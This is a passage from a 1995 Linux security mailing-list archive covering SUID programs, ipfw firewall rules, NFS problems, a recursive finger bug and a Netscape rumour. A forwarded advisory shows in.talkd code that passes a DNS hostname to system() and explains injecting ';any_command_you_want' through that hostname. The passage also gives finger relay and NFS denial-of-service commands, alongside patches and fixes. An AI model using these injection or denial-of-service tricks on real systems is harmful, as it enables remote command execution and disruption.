majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id FAA05352; Mon, 13 Mar 1995 05:54:42 -0500 Received: from dutecai.et.tudelft.nl (dutecai.et.tudelft.nl [130.161.144.190]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id DAA03877; Mon, 13 Mar 1995 03:01:56 -0500 Received: by dutecai.et.tudelft.nl (8.6.10/1.34JP) id JAA11789; Mon, 13 Mar 1995 09:01:53 +0100 Message-Id: <[email protected]> Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? To: [email protected] Date: Mon, 13 Mar 1995 09:01:52 +0100 (MET) In-Reply-To: <[email protected]> from "Panzer Boy" at Mar 12, 95 03:37:12 pm From: [email protected] X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 1977 Sender: [email protected] Precedence: list Reply-To: [email protected] > > [email protected] wrote: > : > *** Procmail, Screen, and tin (suid news) > : > -rwsr-sr-x 1 news news 222212 Aug 12 1994 /usr2/local/bin/tin > : I wouldn't trust "tin". > > It's suid NEWS, not root. Though indirectly you can get root from that. > I know. Get news, modify rc.news file, run by root... :) This was > originally run as root so that I could have it create index files, as > this is no longer needed (I have news locally) tin is no longer suid root. That's what I said. I wouldn't trust tin. It gives you a route to become root. I might be a little terse, but my "instinct" told me that tin usually doesn't need any s bits. If you do stick them on, you invariably open up a whole bag of problems. Even if there wouldn't be a root-hole behind there, you didn't make the news system owned by "news" to let everybody modify it, if you did want to trust your users not to mess with the news system, you'd have made the whole news system 777. > > > : > *** System utils that mod files in restricted space > : > -rwsr-xr-x 1 root root 17412 May 6 1994 /usr/bin/chfn > : > -rwsr-xr-x 1 root root 13316 May 6 1994 /usr/bin/chsh > : I'd group these with "passwd". > I don't have a group passwd, don't see the use other than convience. No. Sorry. I didn't mean it that way. I meant to say that the group (passwd, chfn and chsh) belong together. They all change the file /etc/passwd. > > : for your information: the "rule" is that slackware comes with a clean > : /usr/local. All that ends up there is yours..... > Kinda strange way to do it, since have of slackware is made up of things > that should be in /usr/local/bin. Again, this is personal taste, so > whatever people like. :) Right. On a SUN/HP system, you don't get the PD stuff. You add it locally, and it goes in /usr/local/bin. On Slackware, this stuff wasn't added by you, locally, so it doesn't belong in /usr/local/bin . Roger. From [email protected] Mon Mar 13 07:13:19 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id HAA06061; Mon, 13 Mar 1995 07:10:13 -0500 Received: from distrib.com (www.distrib.com [204.119.65.18]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id EAA04803; Mon, 13 Mar 1995 04:51:45 -0500 Received: by distrib.com (Smail3.1.28.1 #64) id m0ro6mb-000EWsC; Mon, 13 Mar 95 01:51 PST Message-Id: Date: Mon, 13 Mar 95 01:51 PST From: [email protected] (Andrew Cromarty) To: [email protected] CC: [email protected] Subject: rsh et al.: Linux's ipfw seems to solve the practical problem. Sender: [email protected] Precedence: list Reply-To: [email protected] Matt ([email protected]) wrote: > : rlogin tells the other side "this user is called wolff, can you let him > : in". If you allow rlogind to accept this from any port, any user could > : write a new rlogin program that pretends to be anyone > The whole "r" program problem is always a pain. If you have a local > cluster of machines you run, you want people to be able to rsh back and > forth around them and not worry about having to type their passwords > again. Though you want to prevent any attempt at doing this from the > outside including if these users have + + in their .rhosts file due to > some "mistake". It seems most of us run Linux either as a standalone system (e.g. using SLIP/PPP) or on an Internet-connected LAN. I agree there's a gravitic effect to rsh and company, i.e. most legitimate rsh/rlogin/...'s are between local (e.g. LAN-connected) machines, not across the Internet router. That actually helps: at least for the LAN case, it appears that Linux's ipfw (IP Firewall, now in the kernel) solves this problem. Here's how: 1. You configure your Internet router to know that (say) your Class C addrs are all on the LAN side of the router, and all other addrs are on the WAN side. This should prevent IP address spoofing from Internet hosts, since spoof packets get dropped on the floor. 2. You then compile your Linux kernel with firewall enabled, and then on each of your LAN nodes (e.g. in rc.local) you say: ipfw add blocking deny tcp from 0/0 to $MYLAN exec ipfw add blocking deny tcp from 0/0 to $MYLAN login ipfw add blocking deny tcp from 0/0 to $MYLAN shell ipfw add blocking accept all from $MYLAN to 0/0 where MYLAN is set to your Class C network's IP address in a.b.c.0/24 format. This prevents both FQDN spoofing and password cracking attacks, since all Internet packets for rexec, rcp, rsh, and rlogin packets services are never seen on your LAN, but it gives your LAN machines complete r-command access to each other. ("exec", "login", and "shell" are the service names appearing in your /etc/services file, in case yours differ; the port numbers work here too.) I tested it, and it seemed to work for me. Obviously it should apply to other services (lpd, finger, etc.) as well. It took me an hour or two of wading through the ipfw source to work it out (see p.s. below), but it should take only 3 minutes to implement using the above commands as a guide. It doesn't assume you have a "real" firewall (bastion host, proxy server, etc.); every machine can be Internet-connected, as long as they all execute these ipfw commands. I'd appreciate feedback, especially from others who try this out. asc p.s. Warning: the ipfw docs are quite weak and sometimes wrong, and my mind threw up a couple times while reading the ipfw.c source, which is 1300 lines of C parser and 100 lines of real work. I have added "Never write a recursive descent parser in C" to my Book of Life Heuristics---those 25 pages of parser would have been three pages of LISP or 10 lines of SNOBOL or Icon. So we're still bleeding-edge when using ipfw for now, I think. From [email protected] Mon Mar 13 09:47:14 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id JAA07295; Mon, 13 Mar 1995 09:46:22 -0500 Received: from power.net (touchstone.power.net [198.186.216.131]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id EAA04493; Mon, 13 Mar 1995 04:08:49 -0500 Received: by power.net (Smail3.1.29.1 #3) id m0ro675-0005M0C; Mon, 13 Mar 95 01:08 PST Date: Mon, 13 Mar 1995 01:08:30 -0800 (PST) From: Elias Levy To: [email protected] Subject: in.talkd+antiflash Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] This message appeared in bugtraq and it applies to linux in.talkd with the antiflash patches found in sunsite. (What what that Olaf said? ALERT? :) ) ---------- Forwarded message ---------- Date: Sat, 11 Mar 1995 02:00:47 +1100 From: Julian Assange To: [email protected] Subject: bsd in.talkd+antiflash remote-remote hole line ~160 process.c if (hp != (struct hostent *)0) { char sys_buf[150]; int child; caller_host=hp->h_name; /* SECURITY BUG - Proff sprintf(sys_buf,"/etc/flash.mail %s",caller_host); system(sys_buf); */ } else caller_host="unknown"; Modify your DNS hostfield to : ;any_command_you_want Set a talk flash to the site running the in.talkd d, and guess what happens? Cheers, Julian Assange -Proff- From [email protected] Mon Mar 13 09:47:16 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id JAA07269; Mon, 13 Mar 1995 09:46:02 -0500 Received: from crunch (orange.qtp.ufl.edu [128.227.16.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id HAA06349; Mon, 13 Mar 1995 07:46:23 -0500 Received: from inorganic5.chem.ufl.edu by crunch (5.x/4.11) id AA21374; Mon, 13 Mar 1995 07:46:22 -0500 Received: (from jlewis@localhost) by inorganic5.chem.ufl.edu (8.6.10/8.6.9) id HAA08420; Mon, 13 Mar 1995 07:46:45 -0500 Date: Mon, 13 Mar 1995 07:46:45 -0500 (EST) From: Jon Lewis To: [email protected] Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Mon, 13 Mar 1995, Martin v.Loewis wrote: I just looked at the inetd.conf from my slackware 2.0.2 installation, and am a bit worried. Virtually everything is set to run as root or daemon. A few are set to run as guest, which is a non-existant username. Could somebody post a typical slackware inetd.conf with recomendations as to what should legitimately be run as root, and what should be run as a less priviliged user. ------------------------------------------------------------------ Jon Lewis | [email protected] | | Mime attachments are OK | But please ask before sending unsolicited huge files. http://inorganic5.chem.ufl.edu _____Finger [email protected] for PGP public key_____ From [email protected] Mon Mar 13 09:47:18 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id JAA07257; Mon, 13 Mar 1995 09:45:41 -0500 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id HAA06098; Mon, 13 Mar 1995 07:13:28 -0500 Message-Id: From: [email protected] (Alan Cox) Subject: in.talkd+flash To: [email protected] Date: Mon, 13 Mar 1995 12:15:49 +0000 (GMT) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 267 Sender: [email protected] Precedence: list Reply-To: [email protected] The sunsite in.talkd with flash protection has a critical error that allows arbitary commands to be executed on a machine running it. (It uses system to mail complaints and doesnt check for things like ';' in the hostname). Everyone should fix it or remove it ASAP From [email protected] Mon Mar 13 12:03:40 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA08752; Mon, 13 Mar 1995 12:01:55 -0500 Received: from bach.cis.temple.edu (bach.cis.temple.edu [129.32.32.92]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id DAA03990; Mon, 13 Mar 1995 03:10:09 -0500 Received: (from alex@localhost) by bach.cis.temple.edu (8.6.10/8.6.9) id DAA14981; Mon, 13 Mar 1995 03:12:40 -0500 Date: Mon, 13 Mar 1995 03:12:40 -0500 (EST) From: alex To: [email protected] Subject: Re: Closing suid root holes In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] > You must be a bit out of date. I've been running the following on Linux for > quite some time: > > /dev/sda1 / ext2 defaults 1 1 > /dev/sda4 /u ext2 nosuid,nodev 1 2 > /dev/sda2 swap swap defaults > none /proc proc defaults > /dev/sr0 /cd1 iso9660 user,noauto,ro,noexec,nosuid,nodev,unhide > /dev/sr1 /cd2 iso9660 user,noauto,ro,noexec,nosuid,nodev,unhide > > It's already available... In that case 90% of setuid holes can be closed. Just maintain the list of setuid programs on your setuid-able partition (cron job). ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL ============================================================================= From [email protected] Mon Mar 13 12:03:40 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA08768; Mon, 13 Mar 1995 12:02:02 -0500 Received: from nz11.rz.uni-karlsruhe.de (nz11.rz.uni-karlsruhe.de [129.13.64.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id HAA06405; Mon, 13 Mar 1995 07:50:44 -0500 Received: from mvmampc66.ciw.uni-karlsruhe.de by nz11.rz.uni-karlsruhe.de with SMTP (PP); Mon, 13 Mar 1995 13:49:18 +0100 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.9/8.6.9) id NAA12422 for [email protected]; Mon, 13 Mar 1995 13:48:59 +0100 Message-Id: <[email protected]> Subject: Netscape sending unauthorized stuff? To: [email protected] (linux-security) Date: Mon, 13 Mar 1995 13:48:58 +0100 (MET) From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 266 Sender: [email protected] Precedence: list Reply-To: [email protected] Rumour has it that netscape periodically connects to a server at mcom.com. Has anybody run a netscape under strace yet, to find out what kind of data it sends? If there's any truth to this matter, netscape should be banned for installing a potential trojan horse. From [email protected] Mon Mar 13 12:03:43 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA08777; Mon, 13 Mar 1995 12:02:07 -0500 Received: from sun1000.ci.pwr.wroc.pl (sun1000.ci.pwr.wroc.pl [156.17.5.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id JAA07009; Mon, 13 Mar 1995 09:03:27 -0500 Received: from ci3ux.ci.pwr.wroc.pl (ci3ux.ci.pwr.wroc.pl [156.17.10.3]) by sun1000.ci.pwr.wroc.pl (8.6.10/8.6.10) with SMTP id PAA11380 for ; Mon, 13 Mar 1995 15:03:00 +0100 Subject: finger @ bug To: [email protected] Date: Mon, 13 Mar 1995 14:58:31 +0100 (MEZ) From: Marek Michalkiewicz X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 861 Message-ID: <[email protected]> Sender: [email protected] Precedence: list Reply-To: [email protected] Hi, in.fingerd has a bug which allows "recursive" fingering. For example: finger [email protected]@host.domain The bug is known for quite some time, and is not Linux-specific (it exists at least in SunOS, Solaris, SCO, IRIX, FreeBSD - but has been fixed in HP-UX for example). It has some security implications: if you only allow finger access from local domain, you must do this on all machines in local domain. and it makes denial of service attack possible, especially on smaller Linux boxes (by forking lots of processes). I have sent a patch for this to Florian. You can get fixed in.fingerd source from ftp://ftp.ists.pwr.wroc.pl/pub/linux/bugfixes/fingerd.tar.gz or wait for a new NetKit-B release. BTW, linux.nrao.edu has this problem too... Regards, -- Marek Michalkiewicz [email protected] || [email protected] From [email protected] Mon Mar 13 12:03:44 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA08791; Mon, 13 Mar 1995 12:02:19 -0500 Received: from cais.cais.com (cais.com [199.0.216.4]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id KAA07771; Mon, 13 Mar 1995 10:47:06 -0500 Received: from cais3.cais.com (cais3.cais.com [199.0.216.227]) by cais.cais.com (8.6.5/8.6.5) with ESMTP id KAA06366 for ; Mon, 13 Mar 1995 10:47:06 -0500 Received: from localhost (jsdy@localhost) by cais3.cais.com (8.6.5/8.6.5) id KAA13063 for [email protected]; Mon, 13 Mar 1995 10:47:05 -0500 Date: Mon, 13 Mar 1995 10:47:05 -0500 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected] Subject: Re: Closing suid root holes Sender: [email protected] Precedence: list Reply-To: [email protected] > ... Just imagine the passwd file being mode 444. Then a program that had > a bug that allowed the bad guys to append to any file could not be used. > Of curse this means modifying the passwd programs and good knows how many > other things, to do a chmod before and after opening the file. Which I do routinely on my "work" systems. No big deal. Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Mon Mar 13 13:43:25 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id NAA09727; Mon, 13 Mar 1995 13:42:30 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id NAA09723; Mon, 13 Mar 1995 13:42:25 -0500 Date: Mon, 13 Mar 1995 13:42:25 -0500 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: Re: finger @ bug In-Reply-To: Your message of Mon, March 13, 1995 14:58:31 +0100 References: <[email protected]> X-Palindrome: Ma is as selfless as I am. X-Attribution: Up Sender: [email protected] Precedence: list Reply-To: [email protected] "MM" == Marek Michalkiewicz writes: MM> in.fingerd has a bug which allows "recursive" fingering. For example: MM> finger [email protected]@host.domain MM> [...description, etc...] MM> BTW, linux.nrao.edu has this problem too... I know--I've played with it before to demonstrate to people what I call *ahem* "an unintended feature." I know somebody else (that we all know) that has this problem...try: finger @[email protected] :)~ --Up. From [email protected] Mon Mar 13 13:58:10 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id NAA09902; Mon, 13 Mar 1995 13:56:39 -0500 Received: from redhat.com (redhat.com [199.183.24.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id MAA09050; Mon, 13 Mar 1995 12:22:28 -0500 Received: (from marc@localhost) by redhat.com (8.6.9/8.6.9) id MAA01531 for [email protected]; Mon, 13 Mar 1995 12:23:58 -0500 From: Marc Ewing Message-Id: <[email protected]> Subject: Re: /usr/local/... file placement, and vendor security quality control To: [email protected] Date: Mon, 13 Mar 1995 12:23:58 -0500 (EST) In-Reply-To: from "Andrew Cromarty" at Mar 12, 95 11:21:00 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1466 Sender: [email protected] Precedence: list Reply-To: [email protected] > To keep this topic Linux-security related, and proactive: given that the > FSSTND explicitly attempts to define what's "their vs. ours" in distributions, > we should be encouraging all the distribution bundlers to make "their" > file permissions as secure as possible. If we screw ours up, that's our > problem. But part of every Slackware/InfoMagic/Morse/RedHat/Yggdrasil/... > final quality control check should be ensuring that their product puts > _everything_ in the right place at the right permissions---and as the > Linux community's most security-conscious consumers, we on this list are > the well qualified to make the vendors/distributors aware of this > responsibility. This would be a great help to me, as a distribution builder. A small "Linux SECSTND" or some kind of simple validation suite would be an *enormous* help. Not being a security expert by any means, I would defer to the people on this list, both because the poeple on this list most certainly know more about security than me and because I'm always short for time. > Imagine how quickly they get off their tails and work on this if, for > example, the members of this list "voted" regularly on the most secure > distribution and published the results of the vote as our collective > considered opinion on these product's security value. Some kind of evaluation would be a great help to both developers and users, and would go a long way PR-wise for Linux in general. -Marc From [email protected] Mon Mar 13 15:00:21 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id OAA10739; Mon, 13 Mar 1995 14:52:35 -0500 Received: from campino.informatik.rwth-aachen.de (campino.Informatik.RWTH-Aachen.DE [137.226.225.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id DAA04357; Mon, 13 Mar 1995 03:58:00 -0500 Received: from rama (rama.Informatik.RWTH-Aachen.DE) by campino.informatik.rwth-aachen.de (4.1/campino-6) id AA24799; Mon, 13 Mar 95 09:57:55 +0100 Received: by rama (4.1/POOLMH.3) id AA04756; Mon, 13 Mar 95 09:57:35 +0100 Date: Mon, 13 Mar 95 09:57:35 +0100 From: [email protected] (David Kastrup) Message-Id: <9503130857.AA04756@rama> To: [email protected] Subject: Re: SECURITY: NFS Vulnerability Newsgroups: comp.os.linux.announce References: X-Newsreader: NN version 6.5.0 #3 (NOV) Sender: [email protected] Precedence: list Reply-To: [email protected] In comp.os.linux.announce you write: > ALERT - Announcement of the Linux Emergency Response Team :) >The current Linux NFS server (version 2.0) has a couple of security problems >some of which have been known for a while and supposedly been fixed a long >time ago. However, none of the versions I found on the usual FTP sites had >these fixes incorporated. Will the new server not mix up read-only exports? My current nfsd does. This means I have to export all file systems read/write (or probably all read-only, but I cannot do that), because otherwise some file systems are read-write, and some are read-only, but you cannot predict which will be which. It changes over time, too. This is a rather current version of Slackware (off the server, perhaps 2 months or 4 in the run). -- David Kastrup, Goethestr. 20, D-52064 Aachen Tel: +49-241-72419 Email: [email protected] Fax: +49-241-79502 From [email protected] Mon Mar 13 15:05:08 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA10883; Mon, 13 Mar 1995 15:00:32 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA10875; Mon, 13 Mar 1995 15:00:27 -0500 Date: Mon, 13 Mar 1995 15:00:27 -0500 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: Oops...didn't mean to approve that last one! [was: Re: SECURITY: NFS Vulnerability] X-Quote-I-Like: "...[Linux's] capacity to talk via any medium except smoke signals." --Dr. Greg Wettstein, Roger Maris Cancer Center. X-Attribution: Up Sender: [email protected] Precedence: list Reply-To: [email protected] ------- start of forwarded message (RFC 934 encapsulation) ------- >From: [email protected] (David Kastrup) Message-Id: <9503130857.AA04756@rama> To: [email protected] Subject: Re: SECURITY: NFS Vulnerability Newsgroups: comp.os.linux.announce References: Will the new server not mix up read-only exports? My current nfsd does. This means I have to export all file systems read/write (or probably all read-only, but I cannot do that), because otherwise some file systems are read-write, and some are read-only, but you cannot predict which will be which. It changes over time, too. This is a rather current version of Slackware (off the server, perhaps 2 months or 4 in the run). - -- David Kastrup, Goethestr. 20, D-52064 Aachen Tel: +49-241-72419 Email: [email protected] Fax: +49-241-79502 ------- end ------- This message was not intended for the list (AFAICT), but rather as a reply to the authors of the ALERT posting regarding the NFS server. If you have a reply for this question though, please also CC it to the fellow above (David Kastrup); he's not a member of this mailing list. Sorry about that--I hit my "approve" key-sequence on the wrong message... --Up. P.S. OK Olaf, we're even. :)~ From [email protected] Mon Mar 13 15:05:11 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA10910; Mon, 13 Mar 1995 15:02:07 -0500 Received: from dhp.com (dhp.com [199.234.136.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id MAA09258; Mon, 13 Mar 1995 12:46:32 -0500 Received: (from panzer@localhost) by dhp.com (8.6.11/8.6.9) id MAA06358; Mon, 13 Mar 1995 12:48:09 -0500 To: [email protected] Path: dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: in.talkd+flash Date: 13 Mar 1995 12:48:05 -0500 Organization: DataHaven Project +1 412 683 8582 Lines: 28 Message-ID: <[email protected]> References: X-Newsreader: TIN [version 1.2 PL2] Sender: [email protected] Precedence: list Reply-To: [email protected] Alan Cox ([email protected]) wrote: : The sunsite in.talkd with flash protection has a critical error that : allows arbitary commands to be executed on a machine running it. (It uses : system to mail complaints and doesnt check for things like ';' in the : hostname). : Everyone should fix it or remove it ASAP ftp://ftp.dhp.com/pub/linux/security/ntalkd.tar.gz A friend of mine originally created this for a BSD based machine, I made a few changes to the Makefile, and got it to compile. BSD talkd, modded to parse all talkd requests through "isprintable". More compiler warnings than I like, but it works in the end, does anyone want to clean this up? Here's the relavent code that is added: for (loop = 0; request->l_name[loop] != '\0'; loop++) /*if nonprintable chars */ if (isprint(request->l_name[loop]) == 0) { syslog(LOG_WARNING, "talkd: FLASH detected"); request->l_name[loop]='?'; /* throw it out */ return(FAILED); } -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Mon Mar 13 17:09:23 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id RAA12253; Mon, 13 Mar 1995 17:06:16 -0500 Received: from hq.jcic.org (hq.jcic.org [198.68.11.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id PAA11212; Mon, 13 Mar 1995 15:23:03 -0500 Received: by hq.jcic.org (Linux Smail3.1.29.1 #3) id m0roGgH-000xIbC; Mon, 13 Mar 95 12:25 PST Message-Id: From: [email protected] (Daniel Hollis) Subject: Re: finger @ bug To: [email protected] Date: Mon, 13 Mar 1995 12:25:32 -0800 (PST) In-Reply-To: <[email protected]> from "Marek Michalkiewicz" at Mar 13, 95 02:58:31 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 528 Sender: [email protected] Precedence: list Reply-To: [email protected] > in.fingerd has a bug which allows "recursive" fingering. For example: > > finger [email protected]@host.domain > > I have sent a patch for this to Florian. You can get fixed in.fingerd > source from ftp://ftp.ists.pwr.wroc.pl/pub/linux/bugfixes/fingerd.tar.gz > or wait for a new NetKit-B release. This has been known for a *long* time. Almost a year. The patches have already been available on sunsite for ages. The solution is to run a patched in.fingerd, or a different fingerd altogether, like cfingerd. -Dan From [email protected] Mon Mar 13 17:09:23 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id RAA12245; Mon, 13 Mar 1995 17:05:34 -0500 Received: from hq.jcic.org (hq.jcic.org [198.68.11.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id PAA11173; Mon, 13 Mar 1995 15:18:23 -0500 Received: by hq.jcic.org (Linux Smail3.1.29.1 #3) id m0roGbj-000xIbC; Mon, 13 Mar 95 12:20 PST Message-Id: From: [email protected] (Daniel Hollis) Subject: Re: Netscape sending unauthorized stuff? To: [email protected] Date: Mon, 13 Mar 1995 12:20:50 -0800 (PST) In-Reply-To: <[email protected]> from "Thomas Koenig" at Mar 13, 95 01:48:58 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 183 Sender: [email protected] Precedence: list Reply-To: [email protected] > Rumour has it that netscape periodically connects to a server at > mcom.com. Of course it does. Netscape by default connects to home.mcom.com which is Netscape's home page. -Dan From [email protected] Mon Mar 13 17:09:41 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id RAA12264; Mon, 13 Mar 1995 17:06:52 -0500 Received: from moe.shore.net (moe.shore.net [198.115.177.35]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id QAA12047; Mon, 13 Mar 1995 16:39:14 -0500 Received: (from rn@localhost) by moe.shore.net (8.6.10/8.6.9) id QAA12980; Mon, 13 Mar 1995 16:47:08 -0500 Date: Mon, 13 Mar 1995 16:47:08 -0500 From: Ricardo Nassif Message-Id: <[email protected]> To: [email protected] Subject: Netscape sending unauthorized stuff? In-Reply-To: <[email protected]> References: <[email protected]> Comments: Hyperbole mail buttons accepted, v3.16. Sender: [email protected] Precedence: list Reply-To: [email protected] Thomas> Rumour has it that netscape periodically connects to a Thomas> server at mcom.com. [A totally unscientific experience follows] Ah... If you mean v.1.1b, yes, it acts weird sometimes. Every once in a while it comes out of the cold, as of by enchantment (sp), and starts doing something. This "something" is accessing another "something" becouse the modem leds go wild for a few seconds. Then it returns to do being quite. I've looked at the ~/.netscape-cache dir for some clue with no success. Thomas> Has anybody run a netscape under strace yet, to find out Thomas> what kind of data it sends? No. Thomas> If there's any truth to this matter, netscape should be Thomas> banned for installing a potential trojan horse. Yes. -- ||||||||||||||||||||||||||||||||||||||||||||||||||| Ricardo Nassif ||||||| | There is grandeur in |||||||||||||||||||||||||||| [email protected] ||||| | this view of life. |||||||||||||||||||||||||||| [email protected] |||||| | --C. Darwin, 1859 ||||||| http://www.bluesky.net/rcn/FrontDoor.html|| ||||||||||||||||||||||||||||||||||||||||||||||||||| Fax: 1 617 586 9432 || From [email protected] Mon Mar 13 17:11:19 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id RAA12276; Mon, 13 Mar 1995 17:08:29 -0500 Received: from nz11.rz.uni-karlsruhe.de (nz11.rz.uni-karlsruhe.de [129.13.64.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id FAA04968; Mon, 13 Mar 1995 05:09:56 -0500 Received: from mvmampc66.ciw.uni-karlsruhe.de by nz11.rz.uni-karlsruhe.de with SMTP (PP); Mon, 13 Mar 1995 11:09:38 +0100 Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.9/8.6.9) id LAA11928 for [email protected]; Mon, 13 Mar 1995 11:09:18 +0100 Message-Id: <[email protected]> Subject: Re: SECURITY: NFS Vulnerability To: [email protected] Date: Mon, 13 Mar 1995 11:09:18 +0100 (MET) In-Reply-To: from "Dane Jasper" at Mar 12, 95 06:17:00 pm From: [email protected] (Thomas Koenig) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 941 Sender: [email protected] Precedence: list Reply-To: [email protected] > I have annother security problem with NFS - but a minor one. Users can > cause denial of service attacks by locking up NFS servers that they have > access to.. > > mount -t nfs server.edu:/exports/goodies /mnt > mkdir /mnt/another_mountpoint > mount -t nfs server.edu:/exports/goodies /mnt/another_mountpoint > ll /mnt/another_mountpoint > > Because NFS is not multithreaded, I think this will fail.. Let me know if > I'm barking up the wrong tree - I get the digest, so I'll see responses. This won't cause (too many) problems. The current NFS server does serve requests sequentially, but one ll will generate many requests. As far as making nfs multithreaded goes - it might make more sense to start up multiple nfs daemons which listen on the same socket, then take turns in servicing requests (especially with the rather high authentication load in 2.1). I don't think this should/could be done in user space, though. Thomas From [email protected] Mon Mar 13 17:28:45 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id RAA12487; Mon, 13 Mar 1995 17:25:34 -0500 Received: from hq.jcic.org (hq.jcic.org [198.68.11.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id PAA11233; Mon, 13 Mar 1995 15:28:58 -0500 Received: by hq.jcic.org (Linux Smail3.1.29.1 #3) id m0roGm0-000xIcC; Mon, 13 Mar 95 12:31 PST Message-Id: From: [email protected] (Daniel Hollis) Subject: Re: rsh et al.: Linux's ipfw seems to solve the practical problem. To: [email protected] Date: Mon, 13 Mar 1995 12:31:28 -0800 (PST) In-Reply-To: from "Andrew Cromarty" at Mar 13, 95 01:51:00 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1821 Sender: [email protected] Precedence: list Reply-To: [email protected] [Mod: Quoting trimmed.] > 2. You then compile your Linux kernel with firewall enabled, and then > on each of your LAN nodes (e.g. in rc.local) you say: Ok. I compiled my kernel with firewalling, but I can't find ipfw anywhere. I grabbed ipfirewall.c from sunsite but it refuses to compile (all sorts of warnings and structures not found etc.... and yes, I did check the include files, etc...) so where can I get a *WORKING* copy of the ipfw program??!?!? And is there any documentation on it at all? -Dan ---- ------------------------------------------------------------------------------ Dan Hollis | Seiyuu Daisuki! | mokkori.jcic.org servers: JCIC System Administrator | Orikasa Ai | http:LPA-HOWTO (Linux page) http://www.jcic.org/ | Yokoyama Chisa | http:SM.html (SM Records page) [email protected] | (~(^_^)~) | Ztalk (Internet voice mail) ------------------------------------------------------------------------------ -- [Mod: Please direct replies to this to the author, not the list. Thanks. --Jeff.] From [email protected] Mon Mar 13 17:53:02 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id RAA12833; Mon, 13 Mar 1995 17:52:27 -0500 Received: from cv3.cv.nrao.edu (cv3.cv.nrao.edu [192.33.115.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id RAA12606; Mon, 13 Mar 1995 17:38:33 -0500 Received: from brewhq.swb.de by cv3.cv.nrao.edu (4.1/DDN-DLB/1.13) id AA24755; 